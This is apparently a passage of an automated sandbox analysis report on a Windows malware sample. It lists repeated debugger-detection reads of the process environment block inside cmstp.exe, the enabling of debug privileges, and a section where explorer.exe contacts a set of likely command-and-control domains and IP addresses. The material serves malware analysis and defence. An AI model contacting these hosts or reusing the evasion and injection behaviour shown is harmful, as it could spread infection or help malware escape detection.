Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F7016 mov eax, dword ptr fs:[00000030h] 7_2_046F7016
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F7016 mov eax, dword ptr fs:[00000030h] 7_2_046F7016
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F7016 mov eax, dword ptr fs:[00000030h] 7_2_046F7016
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0474740D mov eax, dword ptr fs:[00000030h] 7_2_0474740D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0474740D mov eax, dword ptr fs:[00000030h] 7_2_0474740D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0474740D mov eax, dword ptr fs:[00000030h] 7_2_0474740D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_047314FB mov eax, dword ptr fs:[00000030h] 7_2_047314FB
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046758EC mov eax, dword ptr fs:[00000030h] 7_2_046758EC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6CF0 mov eax, dword ptr fs:[00000030h] 7_2_046F6CF0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6CF0 mov eax, dword ptr fs:[00000030h] 7_2_046F6CF0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6CF0 mov eax, dword ptr fs:[00000030h] 7_2_046F6CF0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0470B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470B8D0 mov ecx, dword ptr fs:[00000030h] 7_2_0470B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0470B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0470B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0470B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0470B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04748CD6 mov eax, dword ptr fs:[00000030h] 7_2_04748CD6
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B90AF mov eax, dword ptr fs:[00000030h] 7_2_046B90AF
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A20A0 mov eax, dword ptr fs:[00000030h] 7_2_046A20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A20A0 mov eax, dword ptr fs:[00000030h] 7_2_046A20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A20A0 mov eax, dword ptr fs:[00000030h] 7_2_046A20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A20A0 mov eax, dword ptr fs:[00000030h] 7_2_046A20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A20A0 mov eax, dword ptr fs:[00000030h] 7_2_046A20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A20A0 mov eax, dword ptr fs:[00000030h] 7_2_046A20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AF0BF mov ecx, dword ptr fs:[00000030h] 7_2_046AF0BF
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AF0BF mov eax, dword ptr fs:[00000030h] 7_2_046AF0BF
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AF0BF mov eax, dword ptr fs:[00000030h] 7_2_046AF0BF
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04679080 mov eax, dword ptr fs:[00000030h] 7_2_04679080
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F3884 mov eax, dword ptr fs:[00000030h] 7_2_046F3884
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F3884 mov eax, dword ptr fs:[00000030h] 7_2_046F3884
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468849B mov eax, dword ptr fs:[00000030h] 7_2_0468849B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467C962 mov eax, dword ptr fs:[00000030h] 7_2_0467C962
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467B171 mov eax, dword ptr fs:[00000030h] 7_2_0467B171
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467B171 mov eax, dword ptr fs:[00000030h] 7_2_0467B171
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469C577 mov eax, dword ptr fs:[00000030h] 7_2_0469C577
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469C577 mov eax, dword ptr fs:[00000030h] 7_2_0469C577
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B3D43 mov eax, dword ptr fs:[00000030h] 7_2_046B3D43
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469B944 mov eax, dword ptr fs:[00000030h] 7_2_0469B944
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469B944 mov eax, dword ptr fs:[00000030h] 7_2_0469B944
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F3540 mov eax, dword ptr fs:[00000030h] 7_2_046F3540
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04697D50 mov eax, dword ptr fs:[00000030h] 7_2_04697D50
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04748D34 mov eax, dword ptr fs:[00000030h] 7_2_04748D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04694120 mov eax, dword ptr fs:[00000030h] 7_2_04694120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04694120 mov eax, dword ptr fs:[00000030h] 7_2_04694120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04694120 mov eax, dword ptr fs:[00000030h] 7_2_04694120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04694120 mov eax, dword ptr fs:[00000030h] 7_2_04694120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04694120 mov ecx, dword ptr fs:[00000030h] 7_2_04694120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473E539 mov eax, dword ptr fs:[00000030h] 7_2_0473E539
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A513A mov eax, dword ptr fs:[00000030h] 7_2_046A513A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A513A mov eax, dword ptr fs:[00000030h] 7_2_046A513A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A4D3B mov eax, dword ptr fs:[00000030h] 7_2_046A4D3B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A4D3B mov eax, dword ptr fs:[00000030h] 7_2_046A4D3B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A4D3B mov eax, dword ptr fs:[00000030h] 7_2_046A4D3B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467AD30 mov eax, dword ptr fs:[00000030h] 7_2_0467AD30
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046FA537 mov eax, dword ptr fs:[00000030h] 7_2_046FA537
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04683D34 mov eax, dword ptr fs:[00000030h] 7_2_04683D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04679100 mov eax, dword ptr fs:[00000030h] 7_2_04679100
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04679100 mov eax, dword ptr fs:[00000030h] 7_2_04679100
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04679100 mov eax, dword ptr fs:[00000030h] 7_2_04679100
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04728DF1 mov eax, dword ptr fs:[00000030h] 7_2_04728DF1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467B1E1 mov eax, dword ptr fs:[00000030h] 7_2_0467B1E1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467B1E1 mov eax, dword ptr fs:[00000030h] 7_2_0467B1E1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467B1E1 mov eax, dword ptr fs:[00000030h] 7_2_0467B1E1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468D5E0 mov eax, dword ptr fs:[00000030h] 7_2_0468D5E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468D5E0 mov eax, dword ptr fs:[00000030h] 7_2_0468D5E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473FDE2 mov eax, dword ptr fs:[00000030h] 7_2_0473FDE2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473FDE2 mov eax, dword ptr fs:[00000030h] 7_2_0473FDE2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473FDE2 mov eax, dword ptr fs:[00000030h] 7_2_0473FDE2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473FDE2 mov eax, dword ptr fs:[00000030h] 7_2_0473FDE2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_047041E8 mov eax, dword ptr fs:[00000030h] 7_2_047041E8
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6DC9 mov eax, dword ptr fs:[00000030h] 7_2_046F6DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6DC9 mov eax, dword ptr fs:[00000030h] 7_2_046F6DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6DC9 mov eax, dword ptr fs:[00000030h] 7_2_046F6DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6DC9 mov ecx, dword ptr fs:[00000030h] 7_2_046F6DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6DC9 mov eax, dword ptr fs:[00000030h] 7_2_046F6DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6DC9 mov eax, dword ptr fs:[00000030h] 7_2_046F6DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F69A6 mov eax, dword ptr fs:[00000030h] 7_2_046F69A6
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A61A0 mov eax, dword ptr fs:[00000030h] 7_2_046A61A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A61A0 mov eax, dword ptr fs:[00000030h] 7_2_046A61A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A35A1 mov eax, dword ptr fs:[00000030h] 7_2_046A35A1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F51BE mov eax, dword ptr fs:[00000030h] 7_2_046F51BE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F51BE mov eax, dword ptr fs:[00000030h] 7_2_046F51BE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F51BE mov eax, dword ptr fs:[00000030h] 7_2_046F51BE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F51BE mov eax, dword ptr fs:[00000030h] 7_2_046F51BE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_047405AC mov eax, dword ptr fs:[00000030h] 7_2_047405AC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_047405AC mov eax, dword ptr fs:[00000030h] 7_2_047405AC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A1DB5 mov eax, dword ptr fs:[00000030h] 7_2_046A1DB5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A1DB5 mov eax, dword ptr fs:[00000030h] 7_2_046A1DB5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A1DB5 mov eax, dword ptr fs:[00000030h] 7_2_046A1DB5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469C182 mov eax, dword ptr fs:[00000030h] 7_2_0469C182
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A2581 mov eax, dword ptr fs:[00000030h] 7_2_046A2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A2581 mov eax, dword ptr fs:[00000030h] 7_2_046A2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A2581 mov eax, dword ptr fs:[00000030h] 7_2_046A2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A2581 mov eax, dword ptr fs:[00000030h] 7_2_046A2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04672D8A mov eax, dword ptr fs:[00000030h] 7_2_04672D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04672D8A mov eax, dword ptr fs:[00000030h] 7_2_04672D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04672D8A mov eax, dword ptr fs:[00000030h] 7_2_04672D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04672D8A mov eax, dword ptr fs:[00000030h] 7_2_04672D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04672D8A mov eax, dword ptr fs:[00000030h] 7_2_04672D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AA185 mov eax, dword ptr fs:[00000030h] 7_2_046AA185
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AFD9B mov eax, dword ptr fs:[00000030h] 7_2_046AFD9B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AFD9B mov eax, dword ptr fs:[00000030h] 7_2_046AFD9B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A2990 mov eax, dword ptr fs:[00000030h] 7_2_046A2990
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468766D mov eax, dword ptr fs:[00000030h] 7_2_0468766D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B927A mov eax, dword ptr fs:[00000030h] 7_2_046B927A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0472B260 mov eax, dword ptr fs:[00000030h] 7_2_0472B260
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0472B260 mov eax, dword ptr fs:[00000030h] 7_2_0472B260
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04748A62 mov eax, dword ptr fs:[00000030h] 7_2_04748A62
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469AE73 mov eax, dword ptr fs:[00000030h] 7_2_0469AE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469AE73 mov eax, dword ptr fs:[00000030h] 7_2_0469AE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469AE73 mov eax, dword ptr fs:[00000030h] 7_2_0469AE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469AE73 mov eax, dword ptr fs:[00000030h] 7_2_0469AE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469AE73 mov eax, dword ptr fs:[00000030h] 7_2_0469AE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473EA55 mov eax, dword ptr fs:[00000030h] 7_2_0473EA55
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04679240 mov eax, dword ptr fs:[00000030h] 7_2_04679240
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04679240 mov eax, dword ptr fs:[00000030h] 7_2_04679240
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04679240 mov eax, dword ptr fs:[00000030h] 7_2_04679240
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04679240 mov eax, dword ptr fs:[00000030h] 7_2_04679240
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04704257 mov eax, dword ptr fs:[00000030h] 7_2_04704257
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04687E41 mov eax, dword ptr fs:[00000030h] 7_2_04687E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04687E41 mov eax, dword ptr fs:[00000030h] 7_2_04687E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04687E41 mov eax, dword ptr fs:[00000030h] 7_2_04687E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04687E41 mov eax, dword ptr fs:[00000030h] 7_2_04687E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04687E41 mov eax, dword ptr fs:[00000030h] 7_2_04687E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04687E41 mov eax, dword ptr fs:[00000030h] 7_2_04687E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473AE44 mov eax, dword ptr fs:[00000030h] 7_2_0473AE44
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473AE44 mov eax, dword ptr fs:[00000030h] 7_2_0473AE44
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467E620 mov eax, dword ptr fs:[00000030h] 7_2_0467E620
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B4A2C mov eax, dword ptr fs:[00000030h] 7_2_046B4A2C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B4A2C mov eax, dword ptr fs:[00000030h] 7_2_046B4A2C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0472FE3F mov eax, dword ptr fs:[00000030h] 7_2_0472FE3F
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04688A0A mov eax, dword ptr fs:[00000030h] 7_2_04688A0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467C600 mov eax, dword ptr fs:[00000030h] 7_2_0467C600
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467C600 mov eax, dword ptr fs:[00000030h] 7_2_0467C600
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467C600 mov eax, dword ptr fs:[00000030h] 7_2_0467C600
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A8E00 mov eax, dword ptr fs:[00000030h] 7_2_046A8E00
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467AA16 mov eax, dword ptr fs:[00000030h] 7_2_0467AA16
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467AA16 mov eax, dword ptr fs:[00000030h] 7_2_0467AA16
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04693A1C mov eax, dword ptr fs:[00000030h] 7_2_04693A1C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AA61C mov eax, dword ptr fs:[00000030h] 7_2_046AA61C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AA61C mov eax, dword ptr fs:[00000030h] 7_2_046AA61C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04675210 mov eax, dword ptr fs:[00000030h] 7_2_04675210
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04675210 mov ecx, dword ptr fs:[00000030h] 7_2_04675210
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04675210 mov eax, dword ptr fs:[00000030h] 7_2_04675210
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04675210 mov eax, dword ptr fs:[00000030h] 7_2_04675210
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731608 mov eax, dword ptr fs:[00000030h] 7_2_04731608
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A16E0 mov ecx, dword ptr fs:[00000030h] 7_2_046A16E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046876E2 mov eax, dword ptr fs:[00000030h] 7_2_046876E2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A2AE4 mov eax, dword ptr fs:[00000030h] 7_2_046A2AE4
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A2ACB mov eax, dword ptr fs:[00000030h] 7_2_046A2ACB
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04748ED6 mov eax, dword ptr fs:[00000030h] 7_2_04748ED6
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A36CC mov eax, dword ptr fs:[00000030h] 7_2_046A36CC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B8EC7 mov eax, dword ptr fs:[00000030h] 7_2_046B8EC7
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0472FEC0 mov eax, dword ptr fs:[00000030h] 7_2_0472FEC0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046752A5 mov eax, dword ptr fs:[00000030h] 7_2_046752A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046752A5 mov eax, dword ptr fs:[00000030h] 7_2_046752A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046752A5 mov eax, dword ptr fs:[00000030h] 7_2_046752A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046752A5 mov eax, dword ptr fs:[00000030h] 7_2_046752A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046752A5 mov eax, dword ptr fs:[00000030h] 7_2_046752A5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F46A7 mov eax, dword ptr fs:[00000030h] 7_2_046F46A7
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04740EA5 mov eax, dword ptr fs:[00000030h] 7_2_04740EA5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04740EA5 mov eax, dword ptr fs:[00000030h] 7_2_04740EA5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04740EA5 mov eax, dword ptr fs:[00000030h] 7_2_04740EA5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468AAB0 mov eax, dword ptr fs:[00000030h] 7_2_0468AAB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468AAB0 mov eax, dword ptr fs:[00000030h] 7_2_0468AAB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AFAB0 mov eax, dword ptr fs:[00000030h] 7_2_046AFAB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470FE87 mov eax, dword ptr fs:[00000030h] 7_2_0470FE87
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AD294 mov eax, dword ptr fs:[00000030h] 7_2_046AD294
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AD294 mov eax, dword ptr fs:[00000030h] 7_2_046AD294
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467DB60 mov ecx, dword ptr fs:[00000030h] 7_2_0467DB60
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468FF60 mov eax, dword ptr fs:[00000030h] 7_2_0468FF60
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A3B7A mov eax, dword ptr fs:[00000030h] 7_2_046A3B7A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A3B7A mov eax, dword ptr fs:[00000030h] 7_2_046A3B7A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04748F6A mov eax, dword ptr fs:[00000030h] 7_2_04748F6A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467DB40 mov eax, dword ptr fs:[00000030h] 7_2_0467DB40
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468EF40 mov eax, dword ptr fs:[00000030h] 7_2_0468EF40
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04748B58 mov eax, dword ptr fs:[00000030h] 7_2_04748B58
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467F358 mov eax, dword ptr fs:[00000030h] 7_2_0467F358
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04674F2E mov eax, dword ptr fs:[00000030h] 7_2_04674F2E
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04674F2E mov eax, dword ptr fs:[00000030h] 7_2_04674F2E
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AE730 mov eax, dword ptr fs:[00000030h] 7_2_046AE730
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470FF10 mov eax, dword ptr fs:[00000030h] 7_2_0470FF10
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470FF10 mov eax, dword ptr fs:[00000030h] 7_2_0470FF10
Enables debug privileges
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.huongdandidong.com
Source: C:\Windows\explorer.exe Domain query: www.opusleaf.com
Source: C:\Windows\explorer.exe Domain query: www.luxel01.com
Source: C:\Windows\explorer.exe Network Connect: 160.153.136.3 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 5.101.152.161 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.simplyhealrhcareplans.com
Source: C:\Windows\explorer.exe Network Connect: 184.168.131.241 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 108.186.210.142 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.myboardinghome.com
Source: C:\Windows\explorer.exe Network Connect: 3.223.115.185 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 199.59.242.153 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 198.185.159.144 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 144.76.207.76 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.seymor-law.com
Source: C:\Windows\explorer.exe Domain query: www.muzhskoy-eskort.site
Source: C:\Windows\explorer.exe Domain query: www.shopthen2.site
Source: C:\Windows\explorer.exe Network Connect: 118.27.122.19 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
